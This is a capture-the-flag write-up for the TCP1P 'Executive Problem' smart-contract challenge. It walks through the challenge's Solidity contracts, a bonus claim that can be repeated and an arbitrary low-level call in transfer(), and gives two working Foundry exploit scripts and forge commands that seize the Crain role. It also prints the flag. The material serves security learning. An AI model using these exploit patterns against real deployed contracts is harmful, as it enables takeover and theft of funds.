Writeup for Executive Problem
- Hello h4ck3r, welcome to the world of smart contract hacking. In order to understand this writeup you need to understand foundry.
Challenge Description
If only we managed to climb high enough, maybe we can dethrone someone?
Exploit
The below are source contracts.
- Setup contract
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.26;
3
4import "./Crain.sol";
5import "./CrainExecutive.sol";
6
7contract Setup{
8 CrainExecutive public cexe;
9 Crain public crain;
10
11 constructor() payable{
12 cexe = new CrainExecutive{value: 50 ether}();
13 crain = new Crain(payable(address(cexe)));
14 }
15
16 function isSolved() public view returns(bool){
17 return crain.crain() != address(this);
18 }
19
20}
- Crain contract
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.26;
3
4import "./CrainExecutive.sol";
5
6contract Crain{
7 CrainExecutive public ce;
8 address public crain;
9
10 modifier _onlyExecutives(){
11 require(msg.sender == address(ce), "Only Executives can replace");
12 _;
13 }
14
15 constructor(address payable _ce) {
16 ce = CrainExecutive(_ce);
17 crain = msg.sender;
18 }
19
20
21 function ascendToCrain(address _successor) public _onlyExecutives{
22 crain = _successor;
23 }
24
25 receive() external payable { }
26
27}
- CrainExecutive contract
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.26;
3
4contract CrainExecutive{
5
6 address public owner;
7 uint256 public totalSupply;
8
9 address[] public Executives;
10 mapping(address => uint256) public balanceOf;
11 mapping(address => bool) public permissionToExchange;
12 mapping(address => bool) public hasTakeBonus;
13 mapping(address => bool) public isEmployee;
14 mapping(address => bool) public isManager;
15 mapping(address => bool) public isExecutive;
16
17 modifier _onlyOnePerEmployee(){
18 require(hasTakeBonus[msg.sender] == false, "Bonus can only be taken once!");
19 _;
20 }
21
22 modifier _onlyExecutive(){
23 require(isExecutive[msg.sender] == true, "Only Higher Ups can access!");
24 _;
25 }
26
27 modifier _onlyManager(){
28 require(isManager[msg.sender] == true, "Only Higher Ups can access!");
29 _;
30 }
31
32 modifier _onlyEmployee(){
33 require(isEmployee[msg.sender] == true, "Only Employee can exchange!");
34 _;
35 }
36
37 constructor() payable{
38 owner = msg.sender;
39 totalSupply = 50 ether;
40 balanceOf[msg.sender] = 25 ether;
41 }
42
43 function claimStartingBonus() public _onlyOnePerEmployee{
44 balanceOf[owner] -= 1e18;
45 balanceOf[msg.sender] += 1e18;
46 }
47
48 function becomeEmployee() public {
49 isEmployee[msg.sender] = true;
50 }
51
52 function becomeManager() public _onlyEmployee{
53 require(balanceOf[msg.sender] >= 1 ether, "Must have at least 1 ether");
54 require(isEmployee[msg.sender] == true, "Only Employee can be promoted");
55 isManager[msg.sender] = true;
56 }
57
58 function becomeExecutive() public {
59 require(isEmployee[msg.sender] == true && isManager[msg.sender] == true);
60 require(balanceOf[msg.sender] >= 5 ether, "Must be that Rich to become an Executive");
61 isExecutive[msg.sender] = true;
62 }
63
64 function buyCredit() public payable _onlyEmployee{
65 require(msg.value >= 1 ether, "Minimum is 1 Ether");
66 uint256 totalBought = msg.value;
67 balanceOf[msg.sender] += totalBought;
68 totalSupply += totalBought;
69 }
70
71 function sellCredit(uint256 _amount) public _onlyEmployee{
72 require(balanceOf[msg.sender] - _amount >= 0, "Not Enough Credit");
73 uint256 totalSold = _amount;
74 balanceOf[msg.sender] -= totalSold;
75 totalSupply -= totalSold;
76 }
77
78 function transfer(address to, uint256 _amount, bytes memory _message) public _onlyExecutive{
79 require(to != address(0), "Invalid Recipient");
80 require(balanceOf[msg.sender] - _amount >= 0, "Not enough Credit");
81 uint256 totalSent = _amount;
82 balanceOf[msg.sender] -= totalSent;
83 balanceOf[to] += totalSent;
84 (bool transfered, ) = payable(to).call{value: _amount}(abi.encodePacked(_message));
85 require(transfered, "Failed to Transfer Credit!");
86 }
87
88}
In this challenge our task is make isSolved()
function return true.
1function isSolved() public view returns(bool){
2 return crain.crain() != address(this);
3}
The isSolved()
function returns true
if the crain()
function in the Crain
contract returns an address that is different from the Setup
contract address.
Now lets look into Crain contract.
1constructor(address payable _ce) {
2 ce = CrainExecutive(_ce);
3 crain = msg.sender;
4}
In the Crain
contract, crain
is a public variable that is set to msg.sender
in the constructor. Since the Setup
contract deploys the Crain
contract, crain
is initially set to the Setup
contract address.
1function ascendToCrain(address _successor) public _onlyExecutives{
2 crain = _successor;
3}
The only way we can change the crain address is by calling the ascendToCrain() by passing the new crain address. But it has a modifier _onlyExecutives. So in order to call this function we need to pass _onlyExecutives modifier.
1modifier _onlyExecutives(){
2 require(msg.sender == address(ce), "Only Executives can replace");
3 _;
4}
The _onlyExecutives()
modifier ensures that msg.sender
(the caller) is the address of ce
(Crain Executive). The address of ce
is set in the constructor. The Setup
contract first deploys the Crain Executive contract and passes the address of Crain Executive as an argument to the constructor of the Crain contract.
The address of ce
is set in the constructor and is not changed anywhere. Since we cannot change the ce
address, we won’t be able to directly call the ascendToCrain()
function. The only way to call ascendToCrain()
is by making the Crain Executive contract call it. Therefore, we need to check if there is any place where the Crain Executive contract directly calls ascendToCrain()
or makes any low-level calls.
Now let’s look into CrainExecutive contract.
1function transfer(address to, uint256 _amount, bytes memory _message) public _onlyExecutive{
2 require(to != address(0), "Invalid Recipient");
3 require(balanceOf[msg.sender] - _amount >= 0, "Not enough Credit");
4 uint256 totalSent = _amount;
5 balanceOf[msg.sender] -= totalSent;
6 balanceOf[to] += totalSent;
7 (bool transfered, ) = payable(to).call{value: _amount}(abi.encodePacked(_message));
8 require(transfered, "Failed to Transfer Credit!");
9}
The transfer()
function takes three arguments: an address to
, a uint256
_amount
, and a bytes
_message
. It first executes the _onlyExecutive()
modifier. If the modifier passes, it performs some balance checks. Then, it makes a low-level call to the address to
with the data _message
and the value _amount
.
If we can call the transfer()
function and pass the address of the Crain
contract as to
and the function selector of ascendToCrain()
as _message
, then the crain
address will be changed. However, to call transfer()
, we need to become the executive.
1function becomeExecutive() public {
2 require(isEmployee[msg.sender] == true && isManager[msg.sender] == true);
3 require(balanceOf[msg.sender] >= 5 ether, "Must be that Rich to become an Executive");
4 isExecutive[msg.sender] = true;
5 }
To become an executive, we need to call becomeExecutive()
. We will only become an executive if we are both an employee and a manager, and our balance in the contract is at least 5 ether.
Now let’s look into how to become employee and manager.
1function becomeEmployee() public {
2 isEmployee[msg.sender] = true;
3}
By calling the becomeEmployee()
function, we will become an employee.
1function becomeManager() public _onlyEmployee{
2 require(balanceOf[msg.sender] >= 1 ether, "Must have at least 1 ether");
3 require(isEmployee[msg.sender] == true, "Only Employee can be promoted");
4 isManager[msg.sender] = true;
5}
To become a manager, we need to call becomeManager()
. We will only become a manager if we are an employee and our balance in the contract is at least 1 ether
.
Therefore, to become an executive, we need to become both a manager and an employee. To become a manager, we need 1 ether
, and to become an executive, we need 5 ether
. In total, we need 6 ether
.
Now we need to make our balance 6 ether. When I looked into the code, I found two ways to get 6 ether.
1function claimStartingBonus() public _onlyOnePerEmployee{
2 balanceOf[owner] -= 1e18;
3 balanceOf[msg.sender] += 1e18;
4}
The first way is by calling claimStartingBonus()
. When we call claimStartingBonus()
, it will execute the _onlyOnePerEmployee()
modifier. The modifier has a check: require(hasTakeBonus[msg.sender] == false, "Bonus can only be taken once!");
, but since hasTakeBonus[msg.sender]
is not updated in the claimStartingBonus()
function, we will be able to call the function 25 times, as the owner has only 25 ether. However, we actually need only 6 ether to become an executive.
1function buyCredit() public payable _onlyEmployee{
2 require(msg.value >= 1 ether, "Minimum is 1 Ether");
3 uint256 totalBought = msg.value;
4 balanceOf[msg.sender] += totalBought;
5 totalSupply += totalBought;
6}
The second way is by calling buyCredit()
function after becoming an employee. In the instance, they have given 7 ether as our wallet balance. So we can directly send 6 ether while calling the buyCredit()
function, and it will set our balance to 6 ether.
Let’s recall all the steps involved to exploit:
Below are the Exploit scripts:
Script 1: Using claimStartingBonus()
- Get a balance of at least 6 ether by calling
claimStartingBonus()
multiple times. - Become an employee by calling
becomeEmployee()
. - Become a manager by calling
becomeManager()
. - Become an executive by calling
becomeExecutive()
. - Call the
transfer
function by passing the address of theCrain
contract asto
, call data to invokeascendToCrain()
as_message
, and value as 0. The value should be zero becauseascendToCrain()
is a non-payable function. - Call
isSolved()
and verify.
Script 2: Using buyCredit()
- Become an employee by calling
becomeEmployee()
. - Get a balance of 6 ether by calling
buyCredit()
and sending 6 ether. - Become a manager by calling
becomeManager()
. - Become an executive by calling
becomeExecutive()
. - Call the
transfer
function by passing the address of theCrain
contract asto
, call data to invokeascendToCrain()
as_message
, and value as 0. The value should be zero becauseascendToCrain()
is a non-payable function. - Call
isSolved()
and verify.
Below are the Exploit scripts
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4import {Script} from "forge-std/Script.sol";
5import {Setup} from "src/contracts/Setup.sol";
6
7contract ExploitExecutive is Script {
8 Setup public setup;
9
10 function run() public {
11 vm.startBroadcast();
12 setup = Setup(0xD3AC2f52E7dCCe686BA20aD048079e094A047CEf);
13 for (uint256 i = 0; i < 6; i++) {
14 setup.cexe().claimStartingBonus();
15 }
16 setup.cexe().becomeEmployee();
17 setup.cexe().becomeManager();
18 setup.cexe().becomeExecutive();
19 bytes memory data = abi.encodeWithSignature("ascendToCrain(address)", address(this));
20 setup.cexe().transfer(address(setup.crain()), 0, data);
21 vm.stopBroadcast();
22 }
23}
1$ forge script script/ExploitExecutive.s.sol:ExploitExecutive1 --rpc-url http://ctf.tcp1p.team:44455/01921e42-61fb-498e-8533-12498c9f96b2 --broadcast -i 1
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4import {Script} from "forge-std/Script.sol";
5import {Setup} from "src/contracts/Setup.sol";
6
7contract ExploitExecutive is Script {
8 Setup public setup;
9
10 function run() public {
11 vm.startBroadcast();
12 setup = Setup(//YOUR__SETUP__ADDR);
13 setup.cexe().becomeEmployee();
14 setup.cexe().buyCredit{value: 6 ether}();
15 setup.cexe().becomeManager();
16 setup.cexe().becomeExecutive();
17 bytes memory data = abi.encodeWithSignature("ascendToCrain(address)", address(this));
18 setup.cexe().transfer(address(setup.crain()), 0, data);
19 vm.stopBroadcast();
20 }
21}
1$ forge script script/ExploitExecutive.s.sol:ExploitExecutive2 --rpc-url http://ctf.tcp1p.team:44455/01921e42-61fb-498e-8533-12498c9f96b2 --broadcast -i 1
Any of the above two scripts will work; you can use either one. The only difference between the two scripts is how we get the ether. I hope you This writeup is helpful.
Flag: TCP1P{Imagine_getting_kicked_out_like_that_by_s0m3_3Xecu7iVE}
***Hope you enjoyed this write-up. Keep on hacking and learning!***
Comments